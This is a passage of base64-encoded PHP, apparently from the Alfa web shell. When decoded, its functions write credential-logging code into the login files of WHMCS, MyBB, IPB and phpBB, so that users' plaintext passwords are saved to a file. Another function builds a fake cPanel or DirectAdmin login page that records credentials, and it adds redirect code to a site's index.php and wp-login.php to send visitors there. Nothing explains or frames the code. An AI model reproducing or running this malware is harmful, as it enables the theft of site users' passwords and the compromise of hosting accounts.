i5sb2dpbi5waHAiKSl7DQokbG9naW4gPSAkY29tcC4iL2FkbWluLmxvZ2luLnBocCI7DQp9ZWxzZXsNCiRsb2dpbiA9ICcnOw0KfQ0KaWYoQGlzX2ZpbGUoJGxvZ2luKSBBTkQgQGlzX3dyaXRhYmxlKCRsb2dpbikgQU5EICRsb2dpbiAhPSAnJyl7DQokZGF0YV9sb2dpbiA9IEBmaWxlX2dldF9jb250ZW50cygkbG9naW4pOw0KJGV2aWxfbG9naW4gPSAkY29kZS4iXG4iLiRkYXRhX2xvZ2luOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCRsb2dpbiwgJGV2aWxfbG9naW4pOw0KaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn0NCmZ1bmN0aW9uIGhpamFja1dobWNzKCRwYXRoLCRzYXZldG8pew0KJGNvZGUgPSAnPD9waHAgaWYoaXNzZXQoJF9QT1NUW1wndXNlcm5hbWVcJ10pIEFORCBpc3NldCgkX1BPU1RbXCdwYXNzd29yZFwnXSkgQU5EICFlbXB0eSgkX1BPU1RbXCd1c2VybmFtZVwnXSkgQU5EICFlbXB0eSgkX1BPU1RbXCdwYXNzd29yZFwnXSkpe2lmKCRhbGZhX2Nvbm5lY3Q9QG15c3FsaV9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQsJGRiX25hbWUpKXskYWxmYV9maWxlID0gIntzYXZldG9fcGF0aH0iOyRhbGZhX3VuYW1lID0gQCRfUE9TVFtcJ3VzZXJuYW1lXCddOyRhbGZhX3B3ID0gQCRfUE9TVFtcJ3Bhc3N3b3JkXCddO2lmKGlzc2V0KCRfUE9TVFtcJ2xhbmd1YWdlXCddKSl7JGFsZmFfcSA9ICJTRUxFQ1QgKiBGUk9NIHRibGFkbWlucyBXSEVSRSBgdXNlcm5hbWVgID0gXCckYWxmYV91bmFtZVwnIEFORCBgcGFzc3dvcmRgID0gXCciLm1kNSgkYWxmYV9wdykuIlwnIjskYWRtaW4gPSB0cnVlO31lbHNleyRhbGZhX3EgPSAiU0VMRUNUICogRlJPTSB0YmxjbGllbnRzIFdIRVJFIGBlbWFpbGAgPSBcJyRhbGZhX3VuYW1lXCciOyRhZG1pbiA9IGZhbHNlO30kYWxmYV9xdWVyeSA9IG15c3FsaV9xdWVyeSgkYWxmYV9jb25uZWN0LCAkYWxmYV9xKTtpZihteXNxbGlfbnVtX3Jvd3MoJGFsZmFfcXVlcnkpID4gMCApeyRyb3cgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJGFsZmFfcXVlcnkpOyRhbGxvdyA9IHRydWU7aWYoISRhZG1pbil7JF9fc2FsdCA9IGV4cGxvZGUoXCc6XCcsICRyb3dbXCdwYXNzd29yZFwnXSk7JF9fZW5jUFcgPSBtZDUoJF9fc2FsdFsxXS4kX1BPU1RbXCdwYXNzd29yZFwnXSkuXCc6XCcuJF9fc2FsdFsxXTtpZigkcm93W1wncGFzc3dvcmRcJ10gPT0gJF9fZW5jUFcpeyRhbGxvdyA9IHRydWU7JHJvd1tcJ3VzZXJuYW1lXCddID0gJHJvd1tcJ2VtYWlsXCddO31lbHNleyRhbGxvdyA9IGZhbHNlO319aWYoJGFsbG93KXskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAsICRyb3dbXCd1c2VybmFtZVwnXSAuIFwnIDogXCcgLiAgJGFsZmFfcHcuIiAoIiAuICRyb3dbImVtYWlsIl0gLiAiKSA6ICIuKCRhZG1pbiA/IFwnaXNfYWRtaW5cJyA6IFwnaXNfdXNlclwnKS4iXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZ3cml0ZSgkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX19fT8+JzsNCiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsNCiRjb25mPSRwYXRoLiIvY29uZmlndXJhdGlvbi5waHAiOw0KaWYoQGlzX2ZpbGUoJGNvbmYpIEFORCBAaXNfd3JpdGFibGUoJGNvbmYpKXsNCiRkYXRhX2NvbmYgPSBAZmlsZV9nZXRfY29udGVudHMoJGNvbmYpOw0KaWYoIXN0cnN0cigkZGF0YV9jb25mLCc/PicpKSRjb2RlID0gJz8+Jy4kY29kZTsNCiRldmlsX2NvbmYgPSAkZGF0YV9jb25mLiJcbiIuJGNvZGU7DQpAZmlsZV9wdXRfY29udGVudHMoJGNvbmYsICRldmlsX2NvbmYpOw0KaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn0NCmZ1bmN0aW9uIGhpamFja015YmIoJHBhdGgsJHNhdmV0byl7DQokY29kZSA9ICckYWxmYV9xID0gJGRiLT5xdWVyeSgiU0VMRUNUIGBlbWFpbGAgRlJPTSAiLlRBQkxFX1BSRUZJWC4idXNlcnMgV0hFUkUgYHVzZXJuYW1lYCA9IFwnIi4kdXNlcltcJ3VzZXJuYW1lXCddLiJcJyIpOyRhbGZhX2ZldGNoID0gJGRiLT5mZXRjaF9hcnJheSgkYWxmYV9xKTskYWxmYV9maWxlID0gIntzYXZldG9fcGF0aH0iOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJHVzZXJbXCd1c2VybmFtZVwnXS4iIDogIi4gJHVzZXJbXCdwYXNzd29yZFwnXS4iICggIi4kYWxmYV9mZXRjaFtcJ2VtYWlsXCddLiIgKVxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0Bmd3JpdGUoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApOyc7DQokZmluZCA9ICckbG9naW5oYW5kbGVyLT5jb21wbGV0ZV9sb2dpbigpOyc7DQokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7DQokbG9naW49JHBhdGguIi9tZW1iZXIucGhwIjsNCiRldmlsX2xvZ2luID0gIlx0Ii4kY29kZS4iXG5cdCIuJGZpbmQ7DQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7DQokZGF0YV9sb2dpbiA9IEBmaWxlX2dldF9jb250ZW50cygkbG9naW4pOw0KaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkZmluZCkpew0KJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCRsb2dpbiwgJGxvZ2luX3JlcGxhY2UpOw0KaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfQ0KZnVuY3Rpb24gaGlqYWNrSVBCKCRwYXRoLCRzYXZldG8pew0KJGNvZGUgPSAnJEFsZmFfcSA9ICR0aGlzLT5EQi0+YnVpbGRBbmRGZXRjaChhcnJheShcJ3NlbGVjdFwnID0+IFwnZW1haWxcJywgXCdmcm9tXCcgPT4gXCdtZW1iZXJzXCcsIFwnd2hlcmVcJyA9PiBcJ25hbWU9IlwnLiR1c2VybmFtZS5cJyIgT1IgZW1haWw9IlwnLiRlbWFpbC5cJyJcJykpOyRBbGZhX2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkX1BPU1RbXCdpcHNfdXNlcm5hbWVcJ10uXCcgOiBcJy4kX1BPU1RbXCdpcHNfcGFzc3dvcmRcJ10uXCcgKCBcJy4kQWxmYV9xW1wnZW1haWxcJ10uXCcgKVwnLiJcbiIpO0BmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRBbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkQWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApOyc7DQokZmluZCA9ICd1bnNldCggJG1lbWJlcltcJ3BsYWluUGFzc3dvcmRcJ10gKTsnOw0KJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOw0KJGxvZ2luPSRwYXRoLiIvYWRtaW4vc291cmNlcy9oYW5kbGVycy9oYW5fbG9naW4ucGhwIjsNCiRldmlsX2xvZ2luID0gIlx0Ii4kZmluZC4iXG5cdCIuJGNvZGU7DQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7DQokZGF0YV9sb2dpbiA9IEBmaWxlX2dldF9jb250ZW50cygkbG9naW4pOw0KaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkZmluZCkpew0KJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCRsb2dpbiwgJGxvZ2luX3JlcGxhY2UpOw0KaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfQ0KZnVuY3Rpb24gaGlqYWNrUEhQQkIoJHBhdGgsJHNhdmV0byl7DQokY29kZSA9ICckQWxmYV91ID0gcmVxdWVzdF92YXIoXCd1c2VybmFtZVwnLCBcJ1wnKTskQWxmYV9wID0gcmVxdWVzdF92YXIoXCdwYXNzd29yZFwnLCBcJ1wnKTtpZigkQWxmYV91ICE9IFwnXCcgQU5EICRBbGZhX3AgIT0gXCdcJyl7JEFsZmFfcmVzcG9uc2UgPSAkYXV0aC0+bG9naW4oJEFsZmFfdSwkQWxmYV9wKTtpZigkQWxmYV9yZXNwb25zZVtcJ3N0YXR1c1wnXSA9PSBMT0dJTl9TVUNDRVNTKXskQWxmYV9maWxlID0ie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkQWxmYV91LiIgOiAiLiRBbGZhX3AuICIgKCAiLiRBbGZhX3Jlc3BvbnNlW1wndXNlcl9yb3dcJ11bXCd1c2VyX2VtYWlsXCddLiIgKVxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJEFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX0nOw0KJGZpbmQgPSAnY2FzZSBcJ2xvZ2luXCc6JzsNCiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsNCiRsb2dpbj0kcGF0aC4iL3VjcC5waHAiOw0KJGV2aWxfbG9naW4gPSAiXHQiLiRmaW5kLiJcblx0Ii4kY29kZTsNCmlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pKXsNCiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7DQppZihzdHJzdHIoJGRhdGFfbG9naW4sICRmaW5kKSl7DQokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRmaW5kLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7DQpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7DQpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsNCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfWVsc2V7DQpoaWphY2tPdXRwdXQoMSk7DQp9DQp9DQpmdW5jdGlvbiBoaWphY2tPdXRwdXQoJGM9MCwkcD0nJyl7ZWNobygkYz09MD8iPGNlbnRlcj48Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3M8L2ZvbnQ+IC0tPiBwYXRoOiAkcDwvY2VudGVyPiI6JzxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+RXJyb3IgaW4gaW5qZWN0IGNvZGUgITwvZm9udD48L2NlbnRlcj4nKTt9DQpmdW5jdGlvbiBBbGZhX1N0clNlYXJjaGVyKCRkaXIsJHN0cmluZywkZXh0LCRlLCRhcnI9YXJyYXkoKSl7DQppZihAaXNfZGlyKCRkaXIpKXsNCiRmaWxlcz1Ac2NhbmRpcigkZGlyKTsNCmZvcmVhY2goJGZpbGVzIGFzICRrZXkgPT4gJHZhbHVlKXsNCiRwYXRoPUByZWFscGF0aCgkZGlyLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4kdmFsdWUpOw0KaWYoIUBpc19kaXIoJHBhdGgpKXsNCmlmKCRleHQhPScqJyl7JGYgPSBiYXNlbmFtZSgkcGF0aCk7JGYgPSBleHBsb2RlKCcuJywkZik7JGYgPSBlbmQoJGYpO2lmKCRmIT0kZXh0KWNvbnRpbnVlO30NCmlmKCRlPT0nc3RyJyl7DQokY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7DQppZihzdHJwb3MoJGNvbnRlbnQsICRzdHJpbmcpICE9PSBmYWxzZSl7DQplY2hvIHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKSAuICI8YnI+IjsNCn0NCn1lbHNlew0KaWYoc3Ryc3RyKCR2YWx1ZSwkc3RyaW5nKSl7DQplY2hvIHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKSAuICI8YnI+IjsNCn0NCn0NCiRyZXN1bHRzW10gPSAkcGF0aDsNCn1lbHNlaWYoJHZhbHVlICE9ICIuIiAmJiAkdmFsdWUgIT0gIi4uIikgew0KQWxmYV9TdHJTZWFyY2hlcigkcGF0aCwkc3RyaW5nLCRleHQsJGUsJHJlc3VsdHMpOw0KJHJlc3VsdHNbXSA9ICRwYXRoOw0KfX19fQ0KZnVuY3Rpb24gYWxmYWZha2VwYWdlKCl7DQoJYWxmYWhlYWQoKTsNCglBbGZhTnVtKDksMTApOw0KCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxicj4NCgk8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhvc3QgTWFuYWdlciBGYWtlIHBhZ2UgfDwvZGl2PjwvY2VudGVyPjxicj48YnI+PGZvcm0gb25TdWJtaXQ9ImcoXCdmYWtlcGFnZVwnLG51bGwsdGhpcy5jbG9uZV9wYWdlLnZhbHVlLHRoaXMuZmFrZV9yb290LnZhbHVlLFwnPj5cJyx0aGlzLmxvZ3RvLnZhbHVlLHRoaXMucGFuZWwudmFsdWUsdGhpcy5pbmplY3RfdG8udmFsdWUsdGhpcy5iaW5kX29uLnZhbHVlLHRoaXMuY291bnQudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4NCgk8ZGl2IGNsYXNzPSJ0eHRmb250IiBzdHlsZT0icG9zaXRpb246IHJlbGF0aXZlO2xlZnQ6IDUwJTt0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlKTsiPjxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NnB4OyI+PHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazt3aWR0aDogMTA2cHg7Ij5QYW5lbDogPC9zcGFuPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMHB4OyIgbmFtZT0icGFuZWwiPic7DQoJJGNtX2FycmF5ID0gYXJyYXkoImNwYW5lbCI9PiJDcGFuZWwiLCJkaXJlY3RhZG1pbiI9PiJEaXJlY3RBZG1pbiIpOw0KCWZvcmVhY2goJGNtX2FycmF5IGFzICRrZXk9PiR2YWwpZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+JzsNCgllY2hvKCI8L3NlbGVjdD48L2Rpdj4iKTsNCgllY2hvICc8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+Q2xvbmUgcGFnZTogPC9zcGFuPjxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iY2xvbmVfcGFnZSIgcGxhY2Vob2xkZXI9ImVnOiBodHRwczovL3RhcmdldC5jb206MjA4MyB8IGh0dHBzOi8vdGFyZ2V0LmNvbToyMjIyIj48L2Rpdj4NCgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuPkZha2UgcGFnZSByb290OiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmYWtlX3Jvb3QiIHZhbHVlPSInLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJy9mYWtlX3BhZ2Vfcm9vdC8iPjwvZGl2Pg0KCTxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NnB4OyI+PHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazt3aWR0aDogMTA2cHg7Ij5JbmplY3QgdG86IDwvc3Bhbj48aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImluamVjdF90byIgdmFsdWU9IicuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nL2luZGV4LnBocCI+PC9kaXY+DQoJPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkJpbmQgb246IDwvc3Bhbj48aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImJpbmRfb24iIHBsYWNlaG9sZGVyPSJlZzogJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLicvd3AtbG9naW4ucGhwIj48L2Rpdj4NCgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+TG9nIFRvOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2d0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidsb2dzLnR4dCI+PC9kaXY+DQoJPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkNvdW50IG9mIEludmFsaWQgbG9naW46IDwvc3Bhbj48aW5wdXQgc2l6ZT0iMjAiIHR5cGU9InRleHQiIG5hbWU9ImNvdW50IiB2YWx1ZT0iMyIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PC9kaXY+DQoJPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Rpdj48L2Zvcm0+PGJyPic7DQoJJGNsb25lX3BhZ2UgPSAkX1BPU1RbJ2FsZmExJ107DQoJJGZha2Vfcm9vdCA9ICRfUE9TVFsnYWxmYTInXTsNCgkkbG9ndG8gPSAkX1BPU1RbJ2FsZmE0J107DQoJJHBhbmVsID0gJF9QT1NUWydhbGZhNSddOw0KCSRpbmplY3RfdG8gPSAkX1BPU1RbJ2FsZmE2J107DQoJJGJpbmRfb24gPSAkX1BPU1RbJ2FsZmE3J107DQoJJGNvdW50ID0gJF9QT1NUWydhbGZhOCddOw0KCWlmKCFlbXB0eSgkY2xvbmVfcGFnZSkgJiYgIWVtcHR5KCRmYWtlX3Jvb3QpICYmICFlbXB0eSgkbG9ndG8pICYmICFlbXB0eSgkaW5qZWN0X3RvKSAmJiAhZW1wdHkoJGJpbmRfb24pICYmICRfUE9TVFsnYWxmYTMnXSA9PSAnPj4nKXsNCgkJZWNobyBfX3ByZSgpOw0KCQkkdGFyZ2V0ID0gJGNsb25lX3BhZ2U7DQoJCSRjdXJsID0gbmV3IEFsZmFDVVJMKCk7DQoJCSRzb3VyY2VfcGFnZSA9ICRjdXJsLT5TZW5kKCR0YXJnZXQpOw0KCQlpZighZW1wdHkoJHNvdXJjZV9wYWdlKSl7DQoJCQkkbWF0Y2hlZF9mb3JtID0gIiI7DQoJCQlpZigkcGFuZWwgPT0gImNwYW5lbCIpew0KCQkJCWlmKHByZWdfbWF0Y2goJyM8Zm9ybSguKilpZD0ibG9naW5fZm9ybSIoLiopPiMnLCAkc291cmNlX3BhZ2UsICRtYXRjaCkpew0KCQkJCQkkbWF0Y2hlZF9mb3JtID0gJG1hdGNoWzBdOw0KCQkJCX0NCgkJCX1lbHNlew0KCQkJCWlmKHByZWdfbWF0Y2goJyM8Zm9ybSguKj8pPiMnLCAkc291cmNlX3BhZ2UsICRtYXRjaCkpew0KCQkJCQkkbWF0Y2hlZF9mb3JtID0gJG1hdGNoWzBdOw0KCQkJCX0NCgkJCX0NCgkJCWlmKCFlbXB0eSgkbWF0Y2hlZF9mb3JtKSl7DQoJCQkJJGZha2UgPSAiIjsNCgkJCQkkcHdkID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSwgJycsICRmYWtlX3Jvb3QpOw0KCQkJCSR1cmkgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLCAnJywgJGluamVjdF90byk7DQoJCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsNCgkJCQkJJHBvcnQgPSAiMjA4MyI7DQoJCQkJfWVsc2V7DQoJCQkJCSR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsICJodHRwczovLyIpLCAiIiwgJHRhcmdldCk7DQoJCQkJCSRwb3J0ID0gZXhwbG9kZSgiOiIsJHRhcmdldCk7DQoJCQkJCSRwb3J0ID0gJHBvcnRbMV07DQoJCQkJfQ0KCQkJCWlmKHN1YnN0cigkdXJpLCAwLCAxKSA9PSAiLyIpew0KCQkJCQkkdXJpID0gc3Vic3RyKCR1cmksIDEpOw0KCQkJCX0NCgkJCQkkdXJpID0gJF9TRVJWRVJbIkhUVFBfT1JJR0lOIl0gLiAnLycgLiBzdHJfcmVwbGFjZSgiaW5kZXgucGhwIiwgIiIsICR1cmkpIC4gJz86JyAuICRwb3J0Ow0KCQkJCSRsb2dfdXJsID0gJF9TRVJWRVJbIkhUVFBfT1JJR0lOIl0gLiAkcHdkIC4gJy9sb2cucGhwJzsNCgkJCQlpZigkcGFuZWwgPT0gImNwYW5lbCIpew0KCQkJCQkkZm9ybSA9ICc8Zm9ybSBub3ZhbGlkYXRlIGlkPSJsb2dpbl9mb3JtIiBhY3Rpb249IicuJGxvZ191cmwuJyIgbWV0aG9kPSJwb3N0IiB0YXJnZXQ9Il90b3AiIHN0eWxlPSJ2aXNpYmlsaXR5OiI+JzsNCgkJCQl9ZWxzZXsNCgkJCQkJJGZvcm0gPSAnPGZvcm0gYWN0aW9uPSInLiRsb2dfdXJsLiciIG1ldGhvZD0icG9zdCI+JzsNCgkJCQl9DQoJCQkJJGZha2UgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlZF9mb3JtLCAkZm9ybSwgJHNvdXJjZV9wYWdlKTsNCgkJCQlpZihAIWlzX2RpcigkZmFrZV9yb290KSl7DQoJCQkJCUBta2RpcigkZmFrZV9yb290LCAwNzc3LCB0cnVlKTsNCgkJCQl9DQoNCgkJCQkkY29va2llX25hbWUgPSAiYWxmYV9mYWtlcGFnZV9jb3VudGVyIiAuIHJhbmQoOTk5OSw5OTk5OSk7DQoNCgkJCQkkcG9zdF91c2VyID0gJ3VzZXInOw0KCQkJCSRwb3N0X3Bhc3MgPSAncGFzcyc7DQoJCQkJJHJlc3BfY29kZSA9ICdpZihlbXB0eSgkdXNlcikpe2h0dHBfcmVzcG9uc2VfY29kZSg0MDApO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoIm1lc3NhZ2UiID0+ICJub191c2VybmFtZSIpKTt9ZWxzZXtodHRwX3Jlc3BvbnNlX2NvZGUoNDAxKTt9JzsNCgkJCQlpZigkcGFuZWwgIT0gImNwYW5lbCIpew0KCQkJCQkkcG9zdF91c2VyID0gJ3VzZXJuYW1lJzsNCgkJCQkJJHBvc3RfcGFzcyA9ICdwYXNzd29yZCc7DQoJCQkJCSRyZXNwX2NvZGUgPSAnQGhlYWRlcigiTG9jYXRpb246ICIuJF9TRVJWRVJbXCdIVFRQX1JFRkVSRVJcJ10pOyc7DQoJCQkJfQ0KDQoJCQkJJGNwYW5lbF9sb2cgPSAnPD9waHAgJGNvb2tfdGltZSA9IHRpbWUoKSsoODY0MDAgKiA3KTsgJHVzZXIgPSAkX1BPU1RbIicuJHBvc3RfdXNlci4nIl07JHBhc3MgPSAkX1BPU1RbIicuJHBvc3RfcGFzcy4nIl07aWYoIWVtcHR5KCR1c2VyKSAmJiAhZW1wdHkoJHBhc3MpKXtpZighaXNzZXQoJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXSkpe0BzZXRjb29raWUoIicuJGNvb2tpZV9uYW1lLiciLCAwLCAkY29va190aW1lLCAiLyIpOyRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl09MTt9aWYoKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPicuJGNvdW50Licpe0BoZWFkZXIoIkxvY2F0aW9uOiAvIik7ZXhpdDt9QHNldGNvb2tpZSgiJy4kY29va2llX25hbWUuJyIsICgoaW50KSRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl0gKyAxKSwgJGNvb2tfdGltZSwgIi8iKTskZnAgPSBAZm9wZW4oIicuJGxvZ3RvLiciLCAiYSsiKTtAZndyaXRlKCRmcCwgJHVzZXIgLiAiIDogIiAuICRwYXNzIC4gIlxuIik7ZmNsb3NlKCRmcCk7c2xlZXAoMyk7Jy4kcmVzcF9jb2RlLidleGl0O30/Pic7DQoNCgkJCQlAZmlsZV9wdXRfY29udGVudHMoJGZha2Vfcm9vdC4nL2xvZy5waHAnLCAkY3BhbmVsX2xvZyk7DQoNCgkJCQlpZigkcGFuZWwgPT0gImNwYW5lbCIpew0KCQkJCQkkZmFrZSA9IHByZWdfcmVwbGFjZShhcnJheSgnIzxsaW5rKC4qKWhyZWY9IiguKikiKC4qKT4jJywgJyM8aW1nIGNsYXNzPSJtYWluLWxvZ28iIHNyYz0iKC4qKSIoLiopPiMnLCAnIyA8YSguKilpZD0icmVzZXRfcGFzc3dvcmQiPiMnKSwgYXJyYXkoJzxsaW5rIGhyZWY9IicuJHRhcmdldC4nLyQyIj4nLCAnPGltZyBjbGFzcz0ibWFpbi1sb2dvIiBzcmM9IicuJHRhcmdldC4nLyQxIiBhbHQ9ImxvZ28iIC8+JywgJzxhIGhyZWY9IiMiIGlkPSJyZXNldF9wYXNzd29yZCI+JyksICRmYWtlKTsNCgkJCQl9DQoNCgkJCQlAZmlsZV9wdXRfY29udGVudHMoJGZha2Vfcm9vdC4nL2luZGV4LnBocCcsICRmYWtlKTsNCg0KCQkJCSRpbmplY3RfY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiOjIwODMiXSkmJihpbnQpJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXTwnLiRjb3VudC4nKXtAaW5jbHVkZSgiJy4kZmFrZV9yb290LicvaW5kZXgucGhwIik7ZXhpdDt9Pz4nOw0KCQkJCSRiaW5kX29uX2NvZGUgPSAnPD9waHAgaWYoKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPCcuJGNvdW50Licpe0BoZWFkZXIoIkxvY2F0aW9uOiAnLiR1cmkuJyIpO2V4aXQ7fT8+JzsNCg0KCQkJCUBmaWxlX3B1dF9jb250ZW50cygkaW5qZWN0X3RvLCAkaW5qZWN0X2NvZGUgLiAiXG4iIC5AZmlsZV9nZXRfY29udGVudHMoJGluamVjdF90bykpOw0KCQkJCUBmaWxlX3B1dF9jb250ZW50cygkYmluZF9vbiwgJGJpbmRfb25fY29kZSAuICJcbiIgLkBmaWxlX2dldF9jb250ZW50cygkYmluZF9vbikpOw0KDQoJCQkJZWNobyAic3VjY2Vzcy4uLiEiOw0KCQkJfWVsc2V7DQoJCQk